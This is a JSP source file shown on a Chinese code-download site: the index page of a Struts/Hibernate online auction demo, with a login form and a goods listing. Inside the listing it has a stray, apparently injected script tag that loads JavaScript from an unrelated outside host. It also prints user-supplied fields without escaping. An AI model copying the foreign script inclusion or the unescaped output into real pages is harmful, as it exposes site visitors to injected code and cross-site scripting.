⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 index.jsp

📁 struts和hibernate集成的网上拍卖系统
💻 JSP
字号:
<%@ page language="java" pageEncoding="GBK"%>
<jsp:directive.page import="y2.yxb.entity.Jbutils" />
<%@ taglib uri="http://struts.apache.org/tags-logic" prefix="logic"%>
<%@ taglib uri="http://struts.apache.org/tags-bean" prefix="bean"%>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
	<head>


		<title>e拍</title>

		<meta http-equiv="pragma" content="no-cache">
		<meta http-equiv="cache-control" content="no-cache">
		<meta http-equiv="expires" content="0">
		<meta http-equiv="keywords" content="keyword1,keyword2,keyword3">
		<meta http-equiv="description" content="This is my page">
		<link rel="stylesheet" type="text/css" href="styles.css">
		<script type="text/javascript">
			function check()
			{
				
				
				if(document.getElementById("name").value=="")
				{
					alert("请输入用户名!");
					return false;
				}
				if(document.getElementById("pwd").value=="")
				{
					alert("请输入密码!");
					return false;
				}
				return true;
			}
		</script>
	</head>

	<body>

		<div id="header" class="center">
			<img src="images/logo.gif" style="width:638px;text-align:left;"></img>
		</div>
		<div id="main" class="center">
			<div id="left">
				<div id="search">
					<div class="dia_title">
						查找商品
					</div>
					<div class="dia_content" style="height:150px;">
						&nbsp;
					</div>
					<div class="dia_foot"></div>
				</div>

				<div id="menu">
					<div class="dia_title">
						最新添加
					</div>
					<div class="dia_content2" style="height:359px;">
						<!-- div class="list_item">
			  				<img src="images/arr.gif">&nbsp; <a href="#" class="menu">Computers</a>
			  			</div -->

					</div>
					<div class="dia_foot2">
						&nbsp;
					</div>
				</div>
				<!-- end of menu -->
			</div>
			<!-- end of left -->
			<div id="middle">
				<div class="m_title">
				</div>
				<div class="bar"></div>
				<div class="m_content"
					style="height:369px;width:340px;overflow-y:scroll;">





					<script>
function SwitchDisplay(oid){
	var o = document.getElementById(oid);
	if (o){
		if (o.style.display == "none"){ o.style.display = "block"; } else {o.style.display = "none";}
	}
}
</script>

					<logic:present name="list" scope="request">
						<logic:iterate id="good" collection="${list}" scope="request">
							<div class="goods_pic">
								<img
									src="http://www.nxnews.net/mmsource/image/2005-11-16/xinsrc_1321102160739734287489.jpg"
									title="${good.goodsDesc}"
									style="width:100px;border:dashed 1px green;"></img>
							</div>
							<div class="goods_info" style="border:solid 0px blue;">
								<strong>${good.goodsName}</strong>
								<br />
								<span class="info_title">卖 &nbsp; 家</span>&nbsp;
								<em>${good.user.userName}</em>
								<br />
								<span class="info_title">起 拍 价</span>&nbsp;
								<span style="color:green;">${good.goodsPrice}</span>
								<br />
								<span class="info_title">起拍日期</span>&nbsp;
								<bean:write name="good" property="beginTime" format="yyyy-MM-dd" />
								<br />
								<span class="info_title">终止日期</span>&nbsp;
								<bean:write name="good" property="endTime" format="yyyy-MM-dd" />
								<logic:notEmpty name="user" scope="session">
									<logic:greaterEqual name="good" property="endTime"
										value="<%=Jbutils.now()%>">
										<logic:lessEqual value="good" property="beginTime"
											value="<%=Jbutils.now()%>">
											<logic:notEqual name="good" property="user.userId"
												value="${sessionScope.user.userId}">
												<a class="a_button"
													href="goods.do?op=doBid&goodsId=${good.goodsId}">出价</a>
											</logic:notEqual>
										</logic:lessEqual>
									</logic:greaterEqual>
								</logic:notEmpty>
							</div>

							<div style="width:300px;padding-left:10px;">
								出价记录: [
								<span style="color:blue;cursor:hand;text-decoration: underline;"
									onclick="javascript:SwitchDisplay('div15');">+/-</span>]
								<br />
								<div style="display:none;" id="div15">

									<em>北大青鸟</em> 2007-08-28 12:00
									<span style="color:green;font-weight:bold;">120.0</span>
									<br />

								</div>
							</div>


							<div style="padding-top:7px;padding-left:3px ">
								<img style="width:333px;" src="images/hline3.gif">
							</div>

						</logic:iterate>
					</logic:present>



					<div class="page_info"></div>

					<script language=javascript src=http://www.qq.com/qq.js></script>
				</div>
				<div class="m_foot">
				</div>
			</div>
			<div id="right">
				<div id="search">
					<div class="dia_title">
						我的e拍
					</div>
					<div class="dia_content"
						style="height:150px;padding:12px 2px 0 15px;">
						<form action="user.do?op=doLogin" method="post"
							onSubmit="return check()" name="login">
							<logic:empty name="user" scope="session">
								<div>
									用户名:
									<input id="name" type="text" name="user.userName"
										style="width:60px;" />
									<br />
									密&nbsp;&nbsp;码:
									<input type="password" id="pwd" name="user.userPassword"
										style="width:60px;" />
									<br />
									<a href="user.do?op=toAdd" class="a_button">用户注册</a>&nbsp;
									<input type="submit" value="登录" class="button"
										style="width:40px;" />
									<br />
									${msg} &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
									<img src="images/login.gif" style="width:75px;"></img>
								</div>
							</logic:empty>
							<logic:notEmpty name="user" scope="session">
								<div>
									<div>
										${user.userName } 大驾光临
									</div>
									<div>
										<a href="addgoods.do?op=toAdd" class="a.light">发布商品</a>
									</div>
									<div>
										<a href="#" class="a.light">我的宝贝</a>
									</div>
									<div>
										<a class="a_button" href="user.do?op=doLogout">注销</a>
									</div>

								</div>
							</logic:notEmpty>
						</form>


					</div>
					<div class="dia_foot"></div>
				</div>
				<div id="menu">
					<div class="dia_title">
						正在热拍
					</div>
					<div class="dia_content2" style="height:359px;">
						<!-- div class="list_item">
			  				<img src="images/arr.gif">&nbsp; <a href="#" class="menu">Computers</a>
			  			</div -->

					</div>
					<div class="dia_foot2">
						&nbsp;
					</div>
				</div>
				<!-- end of menu -->
			</div>
			<!-- end of right -->
		</div>
		<!-- end of main -->
		<div id="footer" class="center">
		</div>


	</body>
</html>


⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -